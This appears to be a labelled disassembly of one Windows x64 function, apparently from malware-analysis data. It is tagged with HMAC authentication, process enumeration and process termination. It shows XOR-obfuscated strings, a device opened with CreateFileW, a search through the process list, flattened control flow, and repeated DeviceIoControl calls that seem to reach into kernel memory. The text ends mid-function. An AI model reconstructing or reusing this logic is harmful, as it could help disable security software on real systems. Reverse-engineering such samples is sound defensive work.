Function at 0x140022010
Capabilities:
Authenticate hmac
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x2d0
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
xor r14d, r14d
movabs rax, 0xdec41a83dc40ef17
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xf7e8c3b4826a0d31
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xa0f42301f554b775
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x553a8d8fd6e2bc81
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xd3c80ec9582a761d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xdf1d8a852a61945e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs r12, 0xe7f12ef8806eb34b
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs r15, 0x96daf381e75c3804
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rdi, 0xc4961b32d835834d
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rbx, 0x650fbabbee81ddb6
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xb5ae3eac6f484f7f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0xdf1d8a852a61e938
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqa xmm0, xmmword [rbp + 0x120]
vxorps xmm0, xmm0, xmmword [rbp + 0x40]
vmovdqa xmmword [rbp + 0x120], xmm0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x100]
mov rsi, 0xffffffffffffffff
mov rax, rsi
vzeroupper
inc rax
cmp byte [rcx + rax], r14b
jne 0x1400221a1
mov qword [rbp + 0x88], rax
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x20], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
call fcn.1400259e0
nop
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x80]
call fcn.140024210
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rcx, qword [rbp + 0x80]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1402d8690], rax
lea rcx, [rbp + 0x80]
call fcn.1400249a0
nop
lea rcx, [rbp + 0xc0]
call fcn.1400249a0
movabs rax, 0x8ba15697ec0cdc19
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xf7ae96c395394165
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xc4961b32bd4de663
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
xor edx, edx
mov ecx, 2
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rbp + 0x140], pe_nt_image_headers64
lea rdx, [rbp + 0x140]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14002233d
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x16c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x1400223f5
lea rdx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140022310
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov eax, ebx
mov dword [0x1402d8698], eax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x20], 0xbabc3a63
mov dword [rbp + 0x24], 0x97962ae7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x28], xmm0
mov dword [rbp + 0x38], eax
mov word [rbp + 0x3c], ax
mov byte [rbp + 0x3e], al
movabs r13, 0x7b756b48e006c01a
movabs r12, 0x20a1ccfa608dc222
mov r14, qword [0x1402e0430]
mov r15, qword [0x1402e0428]
movzx r11d, byte [rbp + 0x60]
mov rax, r15
mov r9, r14
nop dword [rax]
mov rdi, rbx
cmp rdi, 0x1f
jae 0x140022faa
movzx ebx, byte [rbp + rdi + 0x20]
mov r10d, ebx
cmp rax, rdi
ja 0x140022fa1
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x140022408
lea rdx, [rdi + r13]
movzx ecx, r10b
and cl, dl
mov r11d, Ordinal_41
sub r11b, cl
add r11b, r11b
add r11b, dl
add r11b, bl
jmp 0x140022450
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x148]
xor ebx, ebx
jmp 0x14002234a
je 0x140022f28
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140022ef5
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x140022eb6
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140022e90
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x140022e6e
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140022e26
nop
cmp r9, rdi
ja 0x140022f98
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jae 0x140022481
lea rdx, [rdi + r12]
movzx ecx, r10b
and cl, dl
mov r8d, 9
sub r8b, cl
lea r11d, [r8 + r8]
add r11b, dl
add r11b, bl
jmp 0x1400224c0
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x140022e09
inc rcx
cmp rax, rcx
je 0x140022de0
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140022dc1
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140022d93
nop dword [rax]
nop dword [rax + rax]
lea rcx, [r9 + rax]
cmp rcx, rdi
jbe 0x140022a26
nop dword [rax]
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x140022a06
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1400229dd
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x1400229be
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14002299e
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x140022990
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140022967
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x14002294a
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14002292b
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x1400228fd
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400224d0
lea rax, [r9 + 6]
lea r9, [rax + 0x200]
lea rcx, [r9 + 0x400]
cmp rax, rcx
jb 0x140022f7b
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x140022f59
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jb 0x1400226ca
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x1400226ab
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x14002268b
lea rcx, [r9 + 0xa]
cmp rax, rcx
jb 0x1400228ac
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x140022861
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x14002281c
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x1400227f4
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1400224d0
lea rax, [r9 + 0x40]
lea r9, [rax + 0x5a]
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x1400227cd
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x1400227ae
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x140022791
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x140022768
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x14002275a
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x14002273a
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x14002272c
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x14002270a
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x1400226ea
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x1400224d0
lea rax, [r9 + 0x1000]
lea r9, [rax + 6]
jmp 0x1400224d0
lea r8d, [rdi + 0x1e]
movzx ecx, bl
and cl, r8b
mov edx, reloc.WS2_32.dll_socket
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
jmp 0x1400224c0
lea r8d, [rdi - 0x16]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x66
add r11b, r8b
jmp 0x140022450
lea r8d, [rdi - 0x4a]
movzx ecx, bl
and cl, r8b
mov edx, 3
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
jmp 0x1400223c5
lea r8d, [rdi + 0x10]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x70
movzx r10d, dil
jmp 0x140022e42
lea edx, [rdi - 0x24]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r11d, [rdx + rbx]
sub r11b, 4
inc r9
dec rdi
inc rdi
jmp 0x1400223b3
lea r8d, [rdi - 0x58]
mov edx, 0x34
jmp 0x140022e99
lea r8d, [rdi + 0x74]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x2c
movzx r10d, dil
jmp 0x140022ed1
lea r8d, [rdi + 0x40]
mov edx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140022efe
lea edx, [rdi + 0xc]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r11d, [rdx + rbx]
sub r11b, 0x54
movzx ecx, r11b
mov rdx, rsi
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x1400223b3
lea r8d, [rdi - 0x28]
movzx ecx, bl
and cl, r8b
mov edx, ntohl
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
jmp 0x140022d34
lea r8d, [rdi - 0x5c]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x7c
add r11b, r8b
jmp 0x140022d58
lea edx, [rdi + 0x70]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r11d, [rdx + rbx]
sub r11b, 0x10
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400223b3
lea r8d, [rdi - 0x12]
movzx ecx, bl
and cl, r8b
mov edx, 0x3f
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
mov byte [rbp + rdi + 0x20], r11b
inc rdi
jmp 0x1400223b3
lea r8d, [rdi - 0x46]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x16
add r11b, r8b
cmp r9, 0x10
jb 0x14002280f
movzx r10d, dil
lea r8d, [r10 + 0x5c]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx edx, bl
sub dl, cl
add dl, r8b
lea r11d, [rdx*2 - 8]
jmp 0x140022e45
lea r8d, [rdi - 0x7a]
movzx ecx, bl
and cl, r8b
mov edx, Ordinal_45
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
cmp rax, 3
jae 0x140022cf7
lea rcx, [r9 + 0x42]
cmp rax, rcx
jbe 0x140022bc8
lea r8d, [rdi + 0x54]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x4c
jmp 0x140022833
lea r8d, [rdi + 0x52]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x3e
add r11b, r8b
lea rcx, [r9 + rax]
cmp rcx, 0x61
je 0x140022d18
lea rcx, [r9 + 0x41]
cmp rax, rcx
jbe 0x140022aea
lea r8d, [rdi + 0x32]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x5e
jmp 0x140022879
lea r8d, [rdi - 0x34]
movzx ecx, bl
and cl, r8b
mov edx, gethostname
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400223b3
lea r8d, [rdi - 0x68]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x28
add r11b, r8b
jmp 0x140022d58
lea r8d, [rdi + 0x64]
movzx ecx, bl
and cl, r8b
mov edx, Ordinal_35
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
jmp 0x140022d34
lea edx, [rdi + 0x30]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r11d, [rdx + rbx]
sub r11b, 0x50
movzx ecx, r11b
mov rdx, rsi
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x1400223b3
lea r8d, [rdi - 4]
mov edx, reloc.WS2_32.dll_ntohl
jmp 0x140022efe
movzx r10d, dil
lea r8d, [r10 - 0x38]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x78
jmp 0x140022ed1
lea edx, [rdi - 0x6c]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r11d, [rdx + rbx]
sub r11b, 0xc
dec rdi
inc rdi
jmp 0x1400223b3
lea r8d, [rdi + 0x60]
movzx ecx, bl
and cl, r8b
mov edx, Ordinal_50
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
inc r9
dec rdi
inc rdi
jmp 0x1400223b3
movzx r10d, dil
lea r8d, [r10 + 0x2c]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x34
jmp 0x140022e42
lea rdx, [r9 + 2]
cmp rax, rdx
jae 0x140022a4c
lea r8d, [rdi + 0x1a]
movzx ecx, bl
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
jmp 0x1400228c3
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140022a83
lea r8d, [rdi + 0x44]
movzx ecx, bl
and cl, r8b
mov edx, reloc.WS2_32.dll_select
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400223b3
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140022aa9
lea r8d, [rdi - 0x54]
movzx ecx, bl
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
jmp 0x140022d34
cmp rax, rdx
jne 0x140022abc
lea r8d, [rdi + 0x14]
mov edx, Ordinal_60
jmp 0x140022efe
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400228c6
movzx r10d, dil
lea r8d, [r10 + 0x48]
movzx ecx, bl
and cl, r8b
mov edx, 4
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
jmp 0x140022ed1
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140022b05
movzx r10d, dil
lea r8d, [r10 + 0x66]
mov edx, reloc.WLDAP32.dll_Ordinal_27
jmp 0x140022e33
inc rcx
cmp rax, rcx
jne 0x140022b1b
lea r8d, [rdi - 0x32]
mov edx, Ordinal_50
jmp 0x140022e99
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140022b44
movzx r10d, dil
lea r8d, [r10 + 2]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0xe
jmp 0x140022ed1
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140022b66
lea edx, [rdi + 0x36]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r11d, [rdx + rbx]
sub r11b, 0x7a
jmp 0x140022f10
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140022b9f
lea r8d, [rdi + 0x6a]
movzx ecx, bl
and cl, r8b
mov edx, reloc.WS2_32.dll_listen
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
movzx ecx, r11b
mov rdx, rsi
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x1400223b3
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x14002287c
lea r8d, [rdi - 0x62]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x52
jmp 0x140022d34
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140022bff
lea r8d, [rdi - 0x78]
movzx ecx, bl
and cl, r8b
mov edx, 0x24
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400223b3
inc rcx
cmp rax, rcx
jne 0x140022c24
lea r8d, [rdi - 0x10]
movzx ecx, bl
and cl, r8b
mov edx, Ordinal_60
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
jmp 0x140022d34
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140022c46
lea edx, [rdi + 0x58]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r11d, [rdx + rbx]
sub r11b, 0x68
jmp 0x140022f10
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x140022c70
movzx r10d, dil
lea r8d, [r10 - 0x74]
movzx ecx, bl
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
jmp 0x140022ed1
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x140022c98
lea edx, [rdi - 0x40]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r11d, [rdx + rbx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x1400223b3
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140022cca
lea r8d, [rdi - 0xc]
movzx ecx, bl
and cl, r8b
mov edx, Ordinal_45
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
inc r9
dec rdi
inc rdi
jmp 0x1400223b3
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x140022836
movzx r10d, dil
lea r8d, [r10 + 0x28]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x18
jmp 0x140022e42
movzx r10d, dil
lea r8d, [r10 - 0x70]
movzx ecx, bl
and cl, r8b
movzx edx, byte [rbp + rdi + 0x20]
sub dl, cl
add dl, 8
lea r11d, [rdx + rdx]
jmp 0x140022ed1
lea r8d, [rdi - 0x3c]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, byte [rbp + rdi + 0x20]
sub r11b, 0x5c
add r11b, r8b
lea edx, [rdi - 0x22]
movzx ecx, dl
and cl, bl
add cl, cl
sub dl, cl
sub dl, 0x12
add dl, bl
movzx ecx, dl
mov byte [rbp + rdi + 0x20], cl
inc r9
add rcx, r9
sub rdi, rcx
lea r8d, [rdi - 8]
movzx ecx, r8b
and cl, bl
mov edx, Ordinal_32
sub dl, cl
add dl, dl
add dl, r8b
add dl, bl
mov byte [rbp + rdi + 0x20], dl
inc rax
mov rcx, rsi
sub rcx, rax
add rdi, rcx
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400223b3
lea r8d, [rdi - 0xa]
movzx ecx, bl
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_35
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400223b3
lea edx, [rdi - 0x42]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r11d, [rdx + rbx]
sub r11b, 0x32
dec rdi
inc rdi
jmp 0x1400223b3
lea r8d, [rdi - 0x76]
movzx ecx, bl
and cl, r8b
mov edx, Ordinal_32
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
inc r9
dec rdi
inc rdi
jmp 0x1400223b3
movzx r10d, dil
lea r8d, [r10 + 0x56]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x5a
jmp 0x140022e42
movzx r10d, dil
lea r8d, [r10 - 0x12]
mov edx, 0x3f
movzx ecx, bl
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
add r10b, 0x76
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
sub r10b, 0x3a
add r10b, bl
mov byte [rbp + rdi + 0x20], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400223b3
lea edx, [rdi - 0x46]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r11d, [rdx + rbx]
sub r11b, 0x16
inc r9
dec rdi
inc rdi
jmp 0x1400223b3
lea r8d, [rdi - 0x7a]
mov edx, Ordinal_45
movzx ecx, bl
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
dec rdi
inc rdi
jmp 0x1400223b3
movzx r10d, dil
lea r8d, [r10 + 0x52]
movzx ecx, bl
and cl, r8b
add cl, cl
movzx r11d, bl
sub r11b, cl
sub r11b, 0x3e
add r11b, r8b
sub r10b, 0x56
movzx ecx, r10b
and cl, bl
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, cl
add dl, dl
add dl, r10b
add dl, bl
add dl, r11b
mov byte [rbp + rdi + 0x20], dl
jmp 0x140022f10
lea r8d, [rdi + 0x1e]
mov edx, reloc.WS2_32.dll_socket
movzx ecx, bl
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, r8b
add rax, r9
movzx ecx, r11b
mov rdx, rsi
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x1400223b3
movabs rcx, 0x726041daa014404e
add rcx, rdi
and r10b, cl
add r10b, r10b
sub cl, r10b
lea r11d, [rbx + rcx]
sub r11b, 0x22
movzx ecx, byte [rbp + rdi + 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x1400223b3
sub dil, 0x7e
movzx ecx, bl
and cl, dil
mov edx, reloc.WS2_32.dll_gethostname
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, bl
add r11b, dil
xor ebx, ebx
jmp 0x1400223b0
add dil, 0x4e
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x22
xor ebx, ebx
jmp 0x1400223a3
mov rax, qword [rbp + 0x1491198]
jmp 0x140022fae
mov rax, qword [rbp + 0xcfd1b2]
jmp 0x140022fae
mov rax, qword [rbp + 0x20]
cmp qword [0x1402ddd70], rax
je 0x140022fc6
xor r14d, r14d
call r14
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ebx, ebx
mov qword [rbp + 0x68], rbx
mov dword [rbp + 0x41], ebx
mov word [rbp + 0x45], bx
mov byte [rbp + 0x47], bl
mov dword [rbp + 0x20], 0x85b3e12
call fcn.14001f920
add rax, 0x118
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x68]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 8
mov eax, dword [0x1402d8698]
mov dword [rbp + 0x24], eax
mov byte [rbp + 0x40], bl
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_45
lea r8, [rbp + 0x20]
mov edx, 0x2201c4
mov rcx, qword [0x1402d8690]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov qword [rbp + 0xe0], rbx
mov dword [rbp + 0xa1], ebx
mov word [rbp + 0xa5], bx
mov byte [rbp + 0xa7], bl
mov dword [rbp + 0x80], 0x85b3e12
mov rax, qword [rbp + 0x68]
add rax, 0x198
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], 8
mov eax, dword [0x1402d8698]
mov dword [rbp + 0x84], eax
mov byte [rbp + 0xa0], bl
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_45
lea r8, [rbp + 0x80]
mov edx, 0x2201c4
mov rcx, qword [0x1402d8690]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0x68], rax
movabs rax, 0x84905e8beb1cdc1c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0x96daf381e75c3861
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs r14, 0xe7f12ef8806eb34b
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rdi, 0x96daf381e75c3804
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rbx
lea rax, [rbp + 0xc0]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140023170
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x20]
call fcn.14001f1c0
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x68]
call fcn.1400206f0
mov qword [rbp + 0xf0], rbx
mov rcx, qword [rbp + 0xe8]
add rcx, 0x420
mov r8d, 8
lea rdx, [rbp + 0xf0]
call fcn.14001f8b0
mov qword [rbp], rbx
mov dword [rbp + 0x41], ebx
mov word [rbp + 0x45], bx
mov byte [rbp + 0x47], bl
mov dword [rbp + 0x20], 0x85b3e12
call fcn.14001f920
add rax, 0x10
mov qword [rbp + 0x28], rax
lea rax, [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 8
mov eax, dword [0x1402d8698]
mov dword [rbp + 0x24], eax
mov byte [rbp + 0x40], bl
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_45
lea r8, [rbp + 0x20]
mov edx, 0x2201c4
mov rcx, qword [0x1402d8690]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
movabs rax, 0xe7825c9df90fdf1b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x80], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x88], rax
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rbx
lea rax, [rbp + 0xc0]
mov r8, rsi
inc r8
cmp byte [rax + r8], bl
jne 0x1400232a7
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x20]
call fcn.14001f1c0
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x68]
call fcn.1400206f0
call fcn.1400438c0
mov rbx, rax
movabs rax, 0x809f478ce809da07
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x80], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x88], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x20], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x20]
